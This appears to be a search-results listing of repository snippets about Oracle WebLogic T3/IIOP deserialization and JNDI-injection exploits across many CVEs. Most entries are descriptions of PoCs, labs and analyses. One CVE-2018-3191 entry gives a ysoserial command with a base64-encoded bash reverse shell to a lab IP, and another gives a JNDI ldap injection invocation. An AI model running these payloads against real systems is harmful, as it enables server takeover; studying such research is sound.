588 matches found
cve-2020-2555
CVE-2020-2555 Exécuter Main.java génère payload.ser dans le répertoire courant. Ce payload peut être envoyé au serveur cible via le protocole t3...
CVE-2024-21006
CVE-2024-21006 CVE-2024-21006 Description Vulnérabilité dans le produit Oracle WebLogic Server d'Oracle Fusion Middleware composant : Core. Les versions prises en charge concernées sont 12.2.1.4.0 et 14.1.1.0.0. Une vulnérabilité facilement exploitable permet à un attaquant non authentifié ayant ...
CVE-2022-21350
Pourquoi deux PoC L'un contient com.51pwn.hktalent.CreatJar.mainargs; est utilisé pour créer l'outil de génération de payload minimal après sa création, utilisez l'autre Lors de l'exécution de CVE-2022-21350powerBy51pwn.jar, l'erreur de construction du payload n'affecte pas son utilisation other...
CVE-2019-2890
CVE-2019-2890 Exploit CVE-2019-2890 pour WebLogic avec T3...
Oracle WebLogic Server - Remote Code Execution
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...
Weblogic-CVE-2020-2551-To-Internet
Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC à utiliser sur Internet POC de test utilisable sur le réseau externe python CVE-2020-2551.py HOST IP Tentative de modification du codebase pour le chargement de classes à distance échec python CVE-2020-TEST.py HOST IP Brève discussion sur la...
CVE-2023-21839
CVE-2023-21839 분석 이 취약점은 t3 또는 iiop 프로토콜을 통해 객체를 바인딩한 후 lookup 또는 list 메서드를 호출할 때 바인딩된 객체의 getReferent 메서드가 트리거되기 때문에 발생합니다. t3 프로토콜의 호출 스택 getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856, BasicNamingNode...
CVE-2020-14756
CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class de coherence.jar README projet basé sur https://github.com/Y4er/CVE-2020-2555 et weblogiccmd testé sur 12.2.1.4.0 et jdk 1.8.0221 Référence 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...
CVE-2018-3191
Weblogic-CVE-2018-3191 – Vulnérabilité d’exécution de commandes à distance Environnement weblogic pour Docker 0x00 Introduction Le 17 octobre, heure de Pékin, la mise à jour critique de correctifs d’octobre CPU publiée par Oracle a corrigé une vulnérabilité critique d’exécution de code à distance...
CVE_2020_2546
Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...
POC_CVE-2020-2555
POCCVE-2020-2555 poc pour CVE-2020-2555 3 parties: Client & Server: pour construire l'objet et l'envoyer au serveur, déclencher la gadgetchain. Utilisez-le pour construire l'objet propriétaire. Attack: envoyer l'objet via le protocole T3 avec pwntools...
woodpecker-plugins
Использование woodpecker-plugins Скопируйте плагины в каталог woodpecker-framwork/plugin и запустите java -jar woodpecker-framework.1.3.3.jar из https://github.com/woodpecker-appstore weblogic-info проверка, открыт ли T3: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|...
WLT3Serial
WLT3Serial Exploit de désérialisation natif en Java pour les écouteurs T3 et T3S de WebLogic tel que décrit ICI. Nécessite les dépendances tierces ysoserial et wlthint3client. Avantages/Inconvénients par rapport à JavaUnserializeExploits weblogic.py et loubia Avantages : Gère la communication...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 Shell inversé IP locale : 172.16.38.1 Weblogic : 172.16.38.174:7001 1、 Exécution locale java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Puis...
CVE-2017-10271
LAB 2 - CVE-2017-10271 : Analyse de la désérialisation XMLDecoder de WebLogic I. Analyse du système Analyse des journaux système Service détecté : Oracle WebLogic Server AdminServer appartenant à basedomain s'exécutant en mode développement. Port de connexion : 7001. Protocoles supportés : http,...
CVE-2020-14645
CVE-2020-14645 Méthode d'utilisation Commencez par utiliser NDI-Injection-Exploit pour écouter, puis générez une adresse ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget et -RMI sont obligatoires, pour https vous pouvez utiliser le...
Weblogic_Vuln
Предисловие В статье подробно проанализированы исторические уязвимости Weblogic с CVE-2015 по CVE-2019, а соответствующие POC собраны в WeblogicVuln. Здесь записаны заметки об изучении уязвимостей Java-десериализации. Приветствуются star и issue. WeblogicVuln POC для уязвимостей CVE-2015-4852,...
iQOO-Z9_5G-vivo-T3_5G-Root-GhostLock
iQOO Z9 5G / vivo T3 5G — джейлбрейк и root GhostLock Установленный KernelSU Android-приложение для джейлбрейка/root устройств iQOO Z9 5G и vivo T3 5G, а также соответствующие полезные нагрузки. Оба устройства работают на платформе MediaTek Dimensity 7200 MT6886. Поддерживаются два способа запуск...
CVE-2024-21182
CVE-2024-21182 — Injection JNDI T3/IIOP Oracle WebLogic Server → Exécution de code à distance lab Un lab Docker autonome, en une commande, pour reproduire et valider la famille de vulnérabilités d'injection JNDI OpaqueReference d'Oracle WebLogic Server CVE-2024-21182, un contournement du correcti...